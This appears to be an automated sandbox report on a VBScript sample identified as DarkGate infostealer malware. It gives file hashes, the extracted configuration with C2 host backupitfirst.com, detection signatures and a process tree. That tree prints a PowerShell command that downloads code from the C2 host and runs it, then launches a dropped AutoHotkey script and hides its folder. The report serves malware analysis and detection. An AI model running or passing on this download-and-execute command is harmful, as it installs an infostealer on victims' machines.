Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-03-2024 02:40

General

  • Target

    cb65d95a1496fd2e5105954eb3046df90c4262f19fa7d7d77fa59b488348b040.vbs

  • Size

    6KB

  • MD5

    2a4b987fdbd42a6a5cfbfdc334ce634f

  • SHA1

    9964d7287bb64f36231b751eb80608176fc8b687

  • SHA256

    cb65d95a1496fd2e5105954eb3046df90c4262f19fa7d7d77fa59b488348b040

  • SHA512

    4aabaf92a6bf309869ee2ab6eabb9081bb4b5fc57362d9b343fdc7e8eb010ef66512aa5e80056cdb9501f0602d413d325ccc81f1cff3ebe7756167d163d09b80

  • SSDEEP

    192:QMg119gkCtL3IqSPN3QzGNzUoNK9V4nN9:Ly19gR3IquNgzG2oN7r

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

backupitfirst.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    SfUQxDje

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cb65d95a1496fd2e5105954eb3046df90c4262f19fa7d7d77fa59b488348b040.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4820
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'backupitfirst.com/rudxfiyb')
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1964
      • C:\rqzo\AutoHotkey.exe
        "C:\rqzo\AutoHotkey.exe" C:/rqzo/script.ahk
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:4808
      • C:\Windows\system32\attrib.exe
        "C:\Windows\system32\attrib.exe" +h C:/rqzo/
        3⤵
        • Views/modifies file attributes
        PID:1704

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5rr4vyhy.db4.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\rqzo\AutoHotkey.exe

    Filesize

    892KB

    MD5

    a59a2d3e5dda7aca6ec879263aa42fd3

    SHA1

    312d496ec90eb30d5319307d47bfef602b6b8c6c

    SHA256

    897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

    SHA512

    852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

  • C:\rqzo\script.ahk

    Filesize

    56KB

    MD5

    cc881012bc30b053b9e6b763f4fff1ed

    SHA1

    ac366539edd526b083f630828090a519812f72f9

    SHA256

    08037bf46f2e4d7654b2f4d9073ed9eababb35b538927dcae5ed665ad7b4e1c6

    SHA512

    3c520d67cfc7d12f96577cf29c373ebe68dafc59f68fc5dd7d6b772944dbe40a01836f51b87c83486adb751b9b293609d768d7b151614845da13e58d9c2c647d

  • C:\rqzo\test.txt

    Filesize

    916KB

    MD5

    5c3a3407c64b7585324a29a08005a3a8

    SHA1

    956a7788aa0e397e973ab5623d4aae73b1ca2658

    SHA256

    89445e407e345c8c4a8606210787957db44c4ec1acec6a17dfe7e78203f4ca40

    SHA512

    fe13844cff959a87523246f85cf357fd1adcdcffdc8b603f28ec26f4dcb2f26b76f243a042a7c2089776a737e3f7578214709ebc97eed7849e4c56e4825cbecb

  • memory/1964-11-0x000001AB1B760000-0x000001AB1B770000-memory.dmp

    Filesize

    64KB

  • memory/1964-13-0x000001AB34DF0000-0x000001AB34FB2000-memory.dmp

    Filesize

    1.8MB

  • memory/1964-14-0x00007FFE83D70000-0x00007FFE84831000-memory.dmp

    Filesize

    10.8MB

  • memory/1964-15-0x000001AB1B760000-0x000001AB1B770000-memory.dmp

    Filesize

    64KB

  • memory/1964-16-0x000001AB1B760000-0x000001AB1B770000-memory.dmp

    Filesize

    64KB

  • memory/1964-12-0x000001AB1B760000-0x000001AB1B770000-memory.dmp

    Filesize

    64KB

  • memory/1964-34-0x00007FFE83D70000-0x00007FFE84831000-memory.dmp

    Filesize

    10.8MB

  • memory/1964-0-0x000001AB346C0000-0x000001AB346E2000-memory.dmp

    Filesize

    136KB

  • memory/1964-10-0x00007FFE83D70000-0x00007FFE84831000-memory.dmp

    Filesize

    10.8MB

  • memory/4808-37-0x0000000004640000-0x00000000046B3000-memory.dmp

    Filesize

    460KB

  • memory/4808-39-0x0000000004640000-0x00000000046B3000-memory.dmp

    Filesize

    460KB